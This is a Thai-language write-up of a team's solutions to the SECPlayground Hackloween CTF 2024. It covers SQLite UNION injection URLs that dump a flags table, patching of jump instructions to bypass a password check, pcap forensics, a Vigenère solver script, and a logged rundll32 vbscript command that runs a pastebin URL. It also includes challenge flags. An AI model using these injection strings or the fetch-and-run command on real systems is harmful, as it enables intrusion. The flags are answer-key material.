1484 words
7 minutes
SECPlayground Hackloween CTF 2024 Writeup

การแข่งขัน CTF ในวัน Halloween จัดโดย SECPlayground ในวันที่ 31/10/2024

Score of Don’t Know Everything Team (13/157)

Score of Don’t Know Everything Team (13/157)

Timeline of Don’t Know Everything Team

Timeline of Don’t Know Everything Team

ยอมรับว่าช่วงหลังๆทำไม่ได้จริงๆ อันดับร่วงยาวเลย เศร้า…

สำหรับงานนี้ ในมุมมองผมมองว่าสนุก แต่หลังๆก็เครียดนั้นแหละ เล่นคิดอะไรไม่ออกในครึ่งหลัง แต่ก็ทำให้ผมได้เจออะไรแปลกๆใหม่ๆ เพราะผมเองก็พึ่งเข้าวงการ CTF ได้ไม่นานนัก ยังมีความรู้น้อยมากในสายนี้

สำหรับ blog นี้ก็จะยาวหน่อยนะครับ เนื่องจากจะยัดทุกข้อที่ทำได้ไวใน blog เดียว😅

flag งานนี้มีทั้งแบบ static และแบบ dynamic สำหรับบางข้อ ดังนั้นแต่ละทีมจะได้ flag คนจะตัวกัน ซึ่งในการแข่งครั้งนี้เกิดการ submit flag ข้ามทีม (share คำตอบ) แล้วระบบตรวจเจอ ซึ่งทางทีมงานก็แบนทีมที่ทำแบบนั้นไปตามระเบียบ

Team member blogs#

Challenges#

  • Web Application Security
    • Fast Input Please
    • Please find the secrets
    • Enter Captcha
  • Reverse Engineering
    • App.jar
    • reverseme.exe
  • Network Analysis
    • Set-password
    • Reverse Reverse Reverse
    • File Transfer
    • I Can See You # 6
  • Incident
    • My legacy application was hacked # 7 (1,2,3)
  • Artificial Intelligence
    • AI Prompt Injection # 4 (1,2)
  • Cryptography
    • Can You Tell Me the Secret
    • Stand by Me
  • Log Analysis
    • Following the Leak Trail # 3 (1,2,3)

ข้อที่ solve ได้จะเป็น text bold

Fast Input Please#

Please insert username password for get flag
Format flag: web{…}

Screenshot of Fast Input Please

Screenshot of Fast Input Please

หน้าเว็บแปลกๆ คิดว่าน่าจะให้ใส่ username / password

Try

Try

ใส่ได้ครั้งละ 1 ตัวอักษร และรอ 1 นาทีสำหรับใส่ตัวถัดไป

Payload of Request

Payload of Request

เราจึงมาดูว่า API ที่ใช้ submit นั้นทำงานยังไง และเมื่อเราเข้าใจแล้วว่ามันทำงานยังไงเราจึงไปทำการเรียก API ด้วยตนเองเพื่อความรวดเร็ว

Get the flag after submitting all username and password characters

Get the flag after submitting all username and password characters

มันได้ผล เราสามารถ POST ได้ทีละ 1 ตัวอักษร แต่เราไม่ต้องรอ 1 นาที เราจึง POST ไปให้ครบทุกตัวอักษรแล้ว เราก็จะได้ flag มา

web{BVCLB8vguI}

Please find the secrets#

Please find the sensitive data somewhere on this site ! ! !
Format flag: web{…}

เราได้ link เว็บหนึ่งมา ที่ไม่รู้เหมือนกันว่าใช้ทำอะไร เราจึงลอง เล่นๆดู

captionless image

captionless image

/login and /register

/login and /register

เราลอง register และ login แล้ว ก็ไม่เจออะไร

/dashboard of user

/dashboard of user

เราจึงลองเอา session ใน cookie ไปถอดดู แต่ก็ไม่มีไรอะไรน่าสนใจ

html of /register

html of /register

ปะหลาดละ มี field role ใน html ที่ถูก set เป็น user แต่ hide ไว้อยู่

เราเลยลองเปลี่ยนเป็น admin แล้ว register ดู

/dashboard of admin

/dashboard of admin

โดนเกรียนครับ…

หลังจากวนไปนานแสนนาน แต่เดี๋ยวนะ อะไรแวบๆตรง console ตอน login

DevTool > Console

DevTool > Console

print มาทำไม ? เราเลยเปิดดู url ของ request นี้

Response

Response

/api/v1/vault/data?id=1&table=users

อืมมมมม แปลกๆแฮะ ไหนลองเล่นดูหน่อย

Response

Response

/api/v1/vault/data?id=1

เหมือนเราจะมาถูกทาง ??? ไหนลองทำให้มัน error สิ

Flask interactive debugging

Flask interactive debugging

เหมือนจะเปิด debug mode ไว้ มัน error แล้วแสดงผลออกมาแบบนี้ แถมมี commnet บอกใบ้ด้วย ดีจริงๆ สรุปคือ SQL Injection

เราจึงลอง inject พวก list table เข้าไปแต่พังเพราะเราใช้วิธีของพวก mysql แต่นี้เป็น sqlite3 (มัน show ตรง error) เราเลยใช้วิธีของ sqlite

เราเลยสรุปได้ว่า เราต้อง inject command เข้าตรง param ‘id’ และ ทำให้ output ที่ต้องการออกผ่าน column ‘secret’ และต้องกำหนด offset เพื่อเลื่อนเอา เพราะมันติด ‘fetchone’ ที่จะเลือกเอาแค่ตัวเดียว (อันแรก)

เริ่มจากการไล่ดูชื่อ table

Table 3

Table 3

/api/v1/vault/data?id=0 UNION ALL SELECT NULL, name as secret FROM sqlite_master WHERE type="table" LIMIT 1 OFFSET 2

โดยชื่อ table ที่เรา list มาได้คือ users, secrets, flags

table ‘flags’ ??? ไหนลองดูชื่อ column หน่อยว่ามีอะไรบ้าง

Column 2

Column 2

/api/v1/vault/data?id=0 UNION ALL SELECT NULL, name as secret FROM pragma_table_info("flags") LIMIT 1 OFFSET 1

มีชื่อ id, flag เราเลย select เอา flag จาก table นี้ดู

flag from table flags

flag from table flags

/api/v1/vault/data?id=0 UNION ALL SELECT NULL, flag as secret FROM flags

เจอแล้ว !!

web{yPZoQ9BJ9}

Enter Captcha#

  • Solved by c0ffeeOverdose : link

App.jar#

Flag on App.jar, Can you find it?
Password for unzip: secplayground
Format flag: re{…}

App.jar

App.jar

ต้องใส่อะไรกันนะ เราจึง decompile ด้วย CFR decompiler

Trap…

Trap…

เจอกับดักด้วยแหละ

checkKey function

checkKey function

เราเจอ method checkKey ที่เป็น method overloading อยู่ จาก code เมื่อกด OK มันจะเรียก function ด้วยบน แล้ว function ด้านล้างใช้ทำอะไร ?

เมื่อเราสังเกตุดูสักพัก เราคิดว่าน่าจะเป็น char แน่ๆ แต่ทำไมมันแปลกๆนะ

WhatByte function

WhatByte function

น่าเข้ารหัสไว้ แล้วนี้น่าจะใช้ทำอะไรสักอย่างกับ array ก่อนหน้า

เราจึงแก้ code ให้ output ให้ถูกต้อง และเรียก function checkKey ตัวล่างดู

Output return of App.WhatByte

Output return of App.WhatByte

Add call checkKey with argument

Add call checkKey with argument

Result of function checkKey with argument

Result of function checkKey with argument

ใช่แน่ มันคือ character เราจึงลองเอา list นี้ไปแปลง

just@do@it@bro

just@do@it@bro

ไหนลองเอาไปใส่สิ

Enter salt

Enter salt

re{good@job@man@go@next@bye}

reverseme.exe#

Reverse will get flag.
Password for unzip: secplayground
Format flag: re{…}

reverseme.exe

reverseme.exe

อืมมมม โยนเข้า ghidra เลย

Ghidra | entry function

Ghidra | entry function

ลองเข้าไปใน FUN_140005230 ดูหน่อย

Ghidra | Decompile at FUN_140005230

Ghidra | Decompile at FUN_140005230

หลังจากไปดูแต่ละ function คือ ดูเข้าใจยากอะ อ่านไม่ออกอะ…

เราเลยจะใช้วิธีลอง bypass password ดูก่อน ว่าจะได้ไหม โดยเราจะหาจากการหาว่า ตรงไหนเป็นคน print “Incorrect password”

Ghidra > Search > Program Text

Ghidra > Search > Program Text

Location of text “Incorrect password. Try again.”

Location of text “Incorrect password. Try again.”

จะเห็นว่ามี cross references กับ FUN_140001ac0 เราจึงตามไปดูที่ function นั้น

LAB_14000030b4

LAB_14000030b4

และตามไปดู decompile ที่แถว address นั้น

FUN_140001ac0

FUN_140001ac0

แล้วเราก็คิดว่าเราเจอส่วนที่เป็น condition ว่า password จะถูกหรือผิดแล้ว

เราดู code แล้วทำความเข้าใจยากเหมือนเดิม เราจึงลอง ข้าม condition ด้วยการ jump ลงบรรทัดถัดไปดู

Before | 140002fcf

Before | 140002fcf

After patch JNZ LAB_1400030b4 -> 0x140002fd5

After patch JNZ LAB_1400030b4 -> 0x140002fd5

จะเห็นว่า ยังมี condition ติดอีกอยู่เราจึง patch อีกครั้งหนึ่ง

Before | 140002fdc

Before | 140002fdc

After patch JNZ LAB_1400030b4 -> 0x140002fe2

After patch JNZ LAB_1400030b4 -> 0x140002fe2

เสร็จแล้วก็ export มารันดู โดย password จะใส่อะไรก็ได้

Result after bypass password

Result after bypass password

มันได้ผล เราได้ hash และ key มา มองดูน่าจะ XOR แหละ เราจึงไปต่อที่ CyberChef

CyberChef | From Hex > XOR

CyberChef | From Hex > XOR

จริงๆ ตอนผม solve ข้อนี้ผมใช้ Magic + Intensive mode ออกเหมือนกันครับ

re{good_job_qfU8W}

Set-password#

A beginner network engineer is starting configuration on a new Router.
Please find the administrator password.
Format flag: network{…}

เราได้ไฟล์ set-password.pcapng มา เราจึงมาดูแล้วพบว่า Router ที่หมายถึงมันคือ MikroTik RouterOS

Wireshark | tcp.stream eq 8

Wireshark | tcp.stream eq 8

เราจึงมองหาการ key word คือ new-password แล้วก็เจอ ที่เหลือก็นำไปรวมกับ flag pattern

network{VqaSWwIIzxlBNdNjWkgA}

File Transfer#

  • Solved by c0ffeeOverdose : link

I Can See You # 1#

Server is under attacks, as investigator could you fill in information about this case
What is the first file that was read? (answer in a full path)
(No prefix for this challenge flag)

Wireshark > Statistics > Conversations

Wireshark > Statistics > Conversations

เปิดมา มีตัวละครอยู่แค่ 2 address ง่ายละสิ

tcp.stream eq 12

tcp.stream eq 12

เราก็ทำการไล่มันทีละ stream เลย แล้วเจอ stream ที่ 12 ที่มี http url มีคำว่า remote อยู่ตรง parameter หลัง cli

เราจึงเปิดไปดู ช่วงท้ายๆ stream

tcp.stream eq 12 at the end

tcp.stream eq 12 at the end

เราเจอ home/secret.txt ใน stream ที่ 12,13,14,15 เราจึงคิดว่าใช่แน่ๆ

โดยปกติแล้ว home directory จะอยู่ root path เราเลยเติม / เข้าไปอีก

/home/secret.txt

I Can See You # 2#

Which sensitive file that was read by attacker (answer a full path)
(No prefix for this challenge flag)

tcp.stream eq 20

tcp.stream eq 20

เราไล่อ่านแต่ละ stream จนถึง 20 เราเจอข้อความที่น่าจะเป็น content ในไฟล์ /etc/passwd

tcp.stream eq 21

tcp.stream eq 21

stream ถัดมาเราเจอชื่อไฟล์ /etc/passwd และแน่นอน ไฟล์นี้ถือเป็นไฟล์ที่ sensitive เพราะเป็นไฟล์ที่จะบอกว่าในเครื่องนั้นมี user อะไรบ้าง

/etc/passwd

I Can See You # 3#

After attacker read a sensitive file, whose credentials were stolen?
(No prefix for this challenge flag)

น่าจะเป็น root เพราะ tcp.stream ที่ 20

root

I Can See You # 4#

  • Solved by c0ffeeOverdose : link

I Can See You # 5#

What is the file’s name for those credentials that were used to read it?
(answer only file’s name)
(No prefix for this challenge flag)

tcp.stream eq 29

tcp.stream eq 29

ถัดไปที่ stream ที่ 29

note.txt

I Can See You # 6#

  • Solved by c0ffeeOverdose : link

My legacy application was hacked # 1#

We have an legacy application and it got hacked. We need your help to investigate to find the root cause of this incident.
What is sha256 of evidence zip file?
Password for unzip: secplayground
Format forensic {SHA256}

ก็แค่ hash ไฟล์

SHA256 of My_legacy_application.zip

SHA256 of My_legacy_application.zip

forensic{6b6ec76ffb5c8922a34e4ef6f4fe39b4e7ebca7e7efe6252dbbe7d4252fc1a1e}

My legacy application was hacked # 2#

  • Solved by c0ffeeOverdose : link

My legacy application was hacked # 3#

  • Solved by c0ffeeOverdose : link

AI Prompt Injection # 1#

We have a brand new chatbot, please try to check it out.
Format flag: ai{…}

Chat

Chat

ปะหลาดละ

Chat

Chat

งงสิครับ… (จริงๆอยากถามมันว่าเป็น Model ขอใครไรงี้)

ai{n0ygzPTpRI}

AI Prompt Injection # 2#

Now, we custom our chatbot and more secure, please try to check it out.

Format flag: ai{…}

Chat

Chat

ai{t5P0uGuBzQ}

Can You Tell Me the Secret#

  • Solved by c0ffeeOverdose : link

Stand by Me#

Dr. Jones is the undercover agent we’re after. Wdve discovered he left a message for his close contact regarding a crucial covert mission and needs their help.
We intercepted a strange message he sent to his contact Please help us find out what Dr. Jones wants to communicate to his contact in order to locate him.
The flag is the key of this song
Format flag: crypt{…}

Hint: Vigenere cipher

เราได้ไฟล์ ชื่อ stand-by-me.pcapng มา เราลองเปิดด้วย network miner เพื่อดูว่ามีการส่งไฟล์อะไรกันไหม

tshark -F pcap -r stand-by-me.pcapng -w stand-by-me.pcap

Network Miner > Files

Network Miner > Files

เราเจอไฟล์ที่น่าจะเป็นเนื้อเพลง เราจึงลองนำมาเปิดดู

Lyrics to the so.txt from Network Miner

Lyrics to the so.txt from Network Miner

เป็นข้อความที่ถูกเข้ารหัส ตอนแรกเราคิดว่าเป็น Letter frequency แต่กลับไม่ได้ผล เราจึงพยายามหาอะไรแปลกๆในข้อความแล้วได้ข้อความนี้มา

kwam nd nbjfj_678

เราพบว่า 3 คำนี้ไม่มีการซํ้ากันเลย เราพยายามอยู่พักใหญ่เพื่อหาว่ามันจะ map กลับยังไง ด้วยการเอาเนื้อเพลง Stand by me มาเทียบ แต่ก็ยังคิดไม่ออก เราจึงยอม hint เพราะเราเสียเวลาข้อนี้นานมาก คำใบ้คือ Vigenere cipher

เราทำความเข้าใจวิดีโออยู่สักพักจึงเริ่มทำการถอด

เริ่มจากหา key ที่บรรนั้นก่อนถึงข้อความแปลกๆนี้

Sntflj yfmhqp ati qarq Zr zmp muzytgny sntflj hcusgwe
Should tumble and fall Or the mountain should crumble
from collections import deque
text_1 = "Sntflj yfmhqp ati qarq Zr zmp muzytgny sntflj hcusgwe".lower().replace(" ", "")
text_2 = "Should tumble and fall Or the mountain should crumble".lower().replace(" ", "")
shift = [((ord(c1) - ord("a")) - (ord(c2) - ord("a"))) % 26 for c1, c2 in zip(text_1, text_2)]
print(shift)
cipher = "kwam nd nbjfj_678"
for o in range(4):
    qshift = deque(shift[o:])
    secret = "".join([chr((((ord(c) - ord("a")) - qshift.popleft()) % 26) + ord("a")) if c.isalpha() else c for c in cipher])
    print(secret)

โดยเราจะหา key แล้วทำการ map คืน โดยที่ด้านหลัง _678 ไม่ต้องทำอะไร

Flag

Flag

แล้วนำไปรวมกับ flag pattern

crypt{nveuj_678}

Following the Leak Trail #1#

An attempt was made to bypass something.
What command is used to try to bypass?
Password for unzip: secplayground
Format flag: forensic{Full Process Command Line}

เราได้ไฟล์ following_the_leak_trail.zip มาสำหรับ 3 ข้อ ซึ่งด้านในคือ spg-lab.evtx เราจึงเริ่มจากการใช้ chainsaw list เอา command line ออกมาดู

chainsaw hunt --sigma $CHAINSAW_SIGMA --mapping $CHAINSAW_MAPPING/sigma-event-logs-legacy.yml --rule $CHAINSAW_RULE spg-lab.evtx

Chainsaw | Event log record ID 2578

Chainsaw | Event log record ID 2578

command นี้แปลกๆดีนะ

forensic{rundll32 vbscript:"\\..\\mshtml\\..\\LoL\\..\\mshtml,RunHTMLApplication "+String(CreateObject("Wscript.Shell").Run("https://pastebin.com/raw/nhWeTtJH"),0)}

Following the Leak Trail #2#

What is the file name?
Format flag: forensic {filename}
Eg. forensic{sample.exe}

ถามอะไรตรงๆแบบนี้ไปต่อไม่เป็นอะ แต่ด้วยความขี้สงสัยว่า link จากข้อ 1 มันคืออะไร เราเลยตามไปดู

HTTP get with curl

HTTP get with curl

Flag, Key, IV ??? ท่าจะเป็น AES เราจึง decrypt มันดู

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from binascii import unhexlify
key = unhexlify("7a4f3c2b1e0d9c8b7a6f5e4d3c2b1a097a4f3c2b1e0d9c8b7a6f5e4d3c2b1a09")
iv = unhexlify("f1e2d3c4b5a6978869584736251403f2")
flag = unhexlify("81275e920fe15ae8342cdb2290d4da916ef57fef0e8363050ba77b5a86d42e0b0c714aca752b65aa63fa122a0e96b4d233e1cee3fad3827fd4d68a409a085ec24ab342a139a2ce1728763c478af585fa5b929ce272ffb3a8ba2f9d5c8dc1c56135a5ceb553fe139f07d46745a9c72f2b")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(flag), AES.block_size)
print(decrypted_data.decode())

Decrypted

Decrypted

CyberChef | Decode base64

CyberChef | Decode base64

packet.zip หรอ ? ลองตอบดูละกัน

forensic{packet.zip}

Following the Leak Trail #3#

There’s something to verify.
What is the attacker’s IP?
Format flag: forensic{lPAddress}

มองซ้ายมองขวา ไฟล์นี้มีไรอะ มี packet.pcapng อยู่ แต่ติด password คิดว่า password คงเหมือนๆข้ออื่นมั้ง “secplayground”

Password is required to extract packet.zip file

Password is required to extract packet.zip file

ไฟล์ใหญ่หนิดหนึ่งแฮะ เราจึงลอง analyze ดู conversation

Wireshark > Statistics > Conversations | Sort by number of packets

Wireshark > Statistics > Conversations | Sort by number of packets

เจอ ip ที่น่าสงสัยละ ไหนลอง filter ดูสิ

captionless image

captionless image

ไม่ต้องสืบละ

forensic{192.168.1.116}

หมดแล้ว สำหรับข้อทีมผมที่ solve ได้ ยอมรับว่าข้อ AI Prompt Injection # 3,4 ไปต่อไม่เป็นจริงๆ แต่ข้อ My legacy application was hacked # 4 ตกม้าตายเพราะมารู้ที่หลังว่าต้องเติม backslash ตรง C:\ เป็น 2 ตัว 😑

SECPlayground Hackloween CTF 2024 Writeup
https://blog.noonomyen.com/posts/ctf/secplayground-hackloween-ctf-2024-writeup/
Author
noonomyen
Published at
2024-11-02